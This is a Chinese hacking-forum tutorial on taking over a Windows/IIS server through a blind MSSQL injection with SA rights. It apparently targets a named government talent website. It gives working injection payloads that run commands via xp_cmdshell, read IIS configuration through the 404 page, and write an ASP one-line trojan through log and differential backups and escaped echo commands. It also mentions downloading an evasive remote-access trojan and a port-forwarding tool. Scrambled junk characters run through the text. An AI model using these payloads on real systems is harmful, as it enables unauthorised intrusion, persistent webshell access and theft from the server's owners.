sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
# l+ ]0 t# P- Z6 ?1 ^! M) Y2 m9 \

                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
2 C2 X( O- V* g: u) p
" k# U. \; q7 {/ j                                                                 
; O% H* A3 ^& @( m. a* B% W                                                                 
                                                                  论坛： http://www.90team.net/

- b& {7 ?; ?' r) ]& s

友情检测国家人才网


内容：MSSQL注入SA权限不显错模式下的入侵
2 M& g5 B& R! v' S2 O

7 u( @- I7 F5 T6 `一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
2 r$ r& L. m" g" I5 o# Y
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


* q5 m1 w8 S1 y1 |# x1 I这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
7 F. S9 ?7 o0 B, I6 f- ]
思路：
8 I% k) u& N8 {3 |
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
2 I( d6 P# L3 R$ n, _
1.日志备份获得Webshell

2.数据库差异备份获得Webshell
' b( [( a( X. W+ V
4.直接下载免杀远控木马。
0 _% K$ L/ Z4 \$ c* Z5 V
5.直接下载LCX将服务器端口转发出来
5 J; `! s9 }+ p$ l, ?
6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。



在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
/ S3 E- R' Q& C# d. a6 l6 ^' j3 Q
# @# l6 @1 i; L+ @9 ~我直接演示后面一个方法
% x. X& q( V! o% _

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
2 k5 b  A8 w% z7 H7 n4 A



◆日志备份：

2 V7 v/ w& f  f% @
( M  v4 W6 M3 m, L  d1. 进行初始备份
4 k+ |! Z" Q0 o( S) ], f* {; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
* U1 g4 H! }) I( ~  
' _( F* U1 C0 D  V) y0 |2 X" L3. 备份并获得文件，删除临时表
0 k5 s0 L; v7 i$ o' B; C;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--


% x. l- y, b$ z$ ^% j7 F' B& p
◆数据库差异备份
$ l. t% c  l- m3 P/ Y
（1. 进行差异备份准备工作

" w" E$ E# l$ D6 B5 P;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
! z0 ]; `$ k8 b
$ ?$ U: B7 Y" M  p- X
（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
6 }# ?# W, q$ u3 Y1 V7 G; _5 S
( T" S1 m' e4 p1 n  R0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
4 T% c) d, L. Q+ u2 N* @
/ ~# `$ r% ?, A# C6 g;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
# a/ N; d( r8 j9 j
5 e, P% U; _8 a1 A0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
2 w- f8 ^5 C* D# o% _- g- @) ^
5 z. x, D8 r5 j' \6 E

9 @7 }0 e2 a- C6 M- }+ w用^转义字符来写ASP(一句话木马)文件的方法:   

7 M, K: _! m- F. n5 w$ [( Z1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
8 o2 J& n, z2 B/ T5 ^/ {
; _$ D( y, j8 `- j, e2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径
) v& a0 n: F5 w+ M$ D2 i
% Y# F3 k6 _4 d" l- Z     
) U8 J0 [7 S2 z# A0 K# `* ~     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
6 j9 k# D- p$ P5 c# i; ]
执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

* b( P6 _/ y1 n0 w) p6 g- P
1 S6 z* ?$ q" D9 C8 {% ]


0 m( Q, y; i9 a6 f$ \
4 i/ E  A" t5 \6 I
* y5 T, F; @$ ]+ E5 u0 V




! n" S! ~1 E. `. e2 g1 A5 n- d- t

; e) g5 Y# C6 E/ F. _  ]

4 ]: \$ t+ h  Q" ~
& d' S& ]% N- u) C( W/ Y




, N$ w4 P. m6 v& j& A" l



1 c* {, w; |( y" X  G# ?

4 r0 ^4 i' O9 h- h1 i


9 f( G* R1 J' I' l  \



6 J$ O: d" a$ A
) t1 o5 t; R9 p  K, A1 m
1 o4 N. Z) R7 }+ z5 P$ o

& P% a' [4 U# K
7 @* f- A, w( L7 z' @! ^
- w) L8 j3 @/ A/ o; z! C" }


$ ~1 m2 C7 G( b# }
1 d9 ?6 i! Z6 E8 P
7 \7 _- v+ H! l: q# z+ A3 m
; w( G! O' W; y1 O/ A; J
7 ~. z) c: ?. ?9 R( }